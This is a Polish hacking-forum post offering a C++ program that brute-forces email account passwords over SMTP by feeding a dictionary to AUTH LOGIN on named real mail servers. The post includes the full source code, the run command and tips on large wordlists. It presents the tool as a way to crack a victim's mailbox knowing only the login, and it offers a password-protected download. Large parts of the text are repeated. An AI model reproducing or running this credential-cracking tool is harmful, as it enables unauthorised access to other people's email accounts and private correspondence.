discovery44
Były Moderator
- Dołączył
- Sierpień 14, 2007
- Posty
- 763
Ze względu na to, że ostatnio często widzę pytania odnośnie tego zagadnienia postanowiłem napisać program który ma za zadanie złamać hasło do poczty internetowej przez protokół SMTP. Jeżeli chciałeś zadać pytanie w stylu "Jak złamać/znaleźć hasło do poczty znając tylko login" to zainteresuj się tym tematem.
Program został napisany w C++ z wykorzystaniem winsocket'ów [jeżeli będzie potrzeba to opublikuję także wersję na Linuksa].
Program uruchamia się przez konsolę, na chwilę obecną nie ma jeszcze interfejsu graficznego [jeżeli i na to będzie zapotrzebowanie to napiszę co trzeba].
Działanie:
Program łączy się z serwerem SMTP na porcie 25, wczytuje hasła ze słownika i wysyła zapytanie do serwera z loginem i hasłem, na podstawie odpowiedzi stwierdza czy podane hasło pasuje czy nie.
Format słownika:
Słowniki można znaleźć w internecie, jeżeli znajdę czas to zamieszczę parę odnośników w tym temacie. Póki co słownikiem może być słownik języka polskiego, wyrazów obcych, wyrazów bliskoznacznych et cetera, et cetera. Słownik powinien zawierać hasła, każde w nowej linii. Przykład:
Ile czasu zajmuje złamanie hasła?
To zależy od jego złożoności, od wielkości słownika, od szybkości łącza. Jeżeli słownik waży 1GB a hasło ofiary jest na Jego końcu to czas łamania hasła będzie wynosił tyle ile wysyła się 1GB danych z Twojego komputera + czas pobierania danych z serwera (w pojedynczych operacjach to trwa krótko ale pomnożyć to razy kilkaset tysięcy i wyjdzie spory okres czasu). Jeżeli chcesz złamać hasło na hopsiup to nie jest to najlepszy sposób.
Parametry wywołania programu:
1) Nazwa pod jaką zapisany jest program (standardowo to "smtp_password_breaker.exe")
2) Adres serwera SMTP (dla przykładu "poczta.interia.pl", "poczta.o2.pl")
3) Nazwa użytkownika którego hasło masz zamiar złamać ("[email protected]", "[email protected]")
4) Lokalizacja słownika, jeżeli słownik jest w tym katalogu co program to wystarczy sama nazwa pod jaką zapisany jest słownik.
Jak uruchomić:
Odpowiedź jest prosta jednak mogą pojawić się pytania jak to zrobić bo obecnie niema GUI.
Zakładając, że program jest w katalogu "C:\password_breaker", uruchomić konsolę (cmd/wiersz poleceń) i wpisać:
Wyniki łamania:
Program zapisze wyniki do pliku tekstowego w katalogu w którym się znajduje (przykład: "poczta.o2.pl.txt") w formacie - login:haslo ([email protected]mdiw129), także spokojnie można zostawić program na tydzień włączony
Kod źródłowy:
Może nie jest najładniejszy ale nie za bardzo lubię pisać programy na Windows'ie
Download: załącznik.
Hasło: haker.com.pl
Program został napisany w C++ z wykorzystaniem winsocket'ów [jeżeli będzie potrzeba to opublikuję także wersję na Linuksa].
Program uruchamia się przez konsolę, na chwilę obecną nie ma jeszcze interfejsu graficznego [jeżeli i na to będzie zapotrzebowanie to napiszę co trzeba].
Działanie:
Program łączy się z serwerem SMTP na porcie 25, wczytuje hasła ze słownika i wysyła zapytanie do serwera z loginem i hasłem, na podstawie odpowiedzi stwierdza czy podane hasło pasuje czy nie.
Format słownika:
Słowniki można znaleźć w internecie, jeżeli znajdę czas to zamieszczę parę odnośników w tym temacie. Póki co słownikiem może być słownik języka polskiego, wyrazów obcych, wyrazów bliskoznacznych et cetera, et cetera. Słownik powinien zawierać hasła, każde w nowej linii. Przykład:
Dobre słowniki to te po kilka GB lub ewentualnie po kilkaset MB.qwe
asd
zxc
...
Ile czasu zajmuje złamanie hasła?
To zależy od jego złożoności, od wielkości słownika, od szybkości łącza. Jeżeli słownik waży 1GB a hasło ofiary jest na Jego końcu to czas łamania hasła będzie wynosił tyle ile wysyła się 1GB danych z Twojego komputera + czas pobierania danych z serwera (w pojedynczych operacjach to trwa krótko ale pomnożyć to razy kilkaset tysięcy i wyjdzie spory okres czasu). Jeżeli chcesz złamać hasło na hopsiup to nie jest to najlepszy sposób.
Parametry wywołania programu:
1) Nazwa pod jaką zapisany jest program (standardowo to "smtp_password_breaker.exe")
2) Adres serwera SMTP (dla przykładu "poczta.interia.pl", "poczta.o2.pl")
3) Nazwa użytkownika którego hasło masz zamiar złamać ("[email protected]", "[email protected]")
4) Lokalizacja słownika, jeżeli słownik jest w tym katalogu co program to wystarczy sama nazwa pod jaką zapisany jest słownik.
Jak uruchomić:
Odpowiedź jest prosta jednak mogą pojawić się pytania jak to zrobić bo obecnie niema GUI.
Zakładając, że program jest w katalogu "C:\password_breaker", uruchomić konsolę (cmd/wiersz poleceń) i wpisać:
Kod:
cd C:\password_breaker
smtp_password_breaker.exe poczta.interia.pl [email protected] slownik.txt
Program zapisze wyniki do pliku tekstowego w katalogu w którym się znajduje (przykład: "poczta.o2.pl.txt") w formacie - login:haslo ([email protected]mdiw129), także spokojnie można zostawić program na tydzień włączony
Kod źródłowy:
Może nie jest najładniejszy ale nie za bardzo lubię pisać programy na Windows'ie
Kod:
/*
SMTP Password Breaker
C++ && sockets
czw, 23 gru 2010, 00:56:45 by discovery44
for haker.com.pl
*/
/* WINDOWS VERSION */
#include <winsock.h>
#include <stdexcept>
#include <stdlib.h>
#include <iostream>
#include <fstream>
#include "base64.h"
using namespace std;
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsda;
struct hostent *he;
struct in_addr adr;
const int BUFFSIZE = 256;
const int PORT = 25;
char buffer[BUFFSIZE];
string query, tbuffer, login, pass, ip, fname;
fstream infile, outfile;
void czysc() { for(int i = 0 ; i < BUFFSIZE ; i++) buffer[i] = '\0'; }
int main(int argc, char *argv[])
{
cout << "Please come visit: http://haker.com.pl\n";
if(argc != 4) cout << "Usage: " << argv[0] << " poczta.interia.pl [email protected] dictionary.txt\n";
else
{
WSAStartup(MAKEWORD(2,2), &wsda);
ip = argv[1];
login = argv[2];
fname = argv[3];
infile.open( fname.c_str(), ios::in );
outfile.open( ( ip + string(".txt") ).c_str(), ios::out | ios::app );
if( infile.fail() || outfile.fail() )
cout << "ERROR: Infile / Outfile.\n";
else
{
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
he = gethostbyname( ip.c_str() );
adr.s_addr = *((unsigned long*)he->h_addr_list[0]);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = adr.s_addr;
if(connect(sock, (struct sockaddr *)&addr, sizeof addr) != 0)
{
cout << "ERROR: Connect.\n";
}
else
{
cout << "Connected.\n";
while(1)
{
try
{
query = "auth login\r\n";
send(sock, query.c_str(), query.length(), 0);
recv(sock, buffer, BUFFSIZE, 0);czysc();
query = base64_encode(login) + "\r\n";
send(sock, query.c_str(), query.length(), 0);
Sleep(100);
recv(sock, buffer, BUFFSIZE, 0); czysc();
Sleep(100);
getline(infile, pass);
query = base64_encode(pass) + "\r\n";
send(sock, query.c_str(), query.length(), 0);
Sleep(100);
recv(sock, buffer, BUFFSIZE, 0);
tbuffer = buffer;
Sleep(200);
czysc();
if(tbuffer.find("235") != string::npos)
{
cout << "Password: " << pass << endl;
outfile << login << ":" << pass << endl;
break;
}
}
catch(out_of_range)
{
cout << "End of file.\n";
break;
}
}
}
}
}
}
Hasło: haker.com.pl
Attachments
Ostatnio edytowane przez moderatora: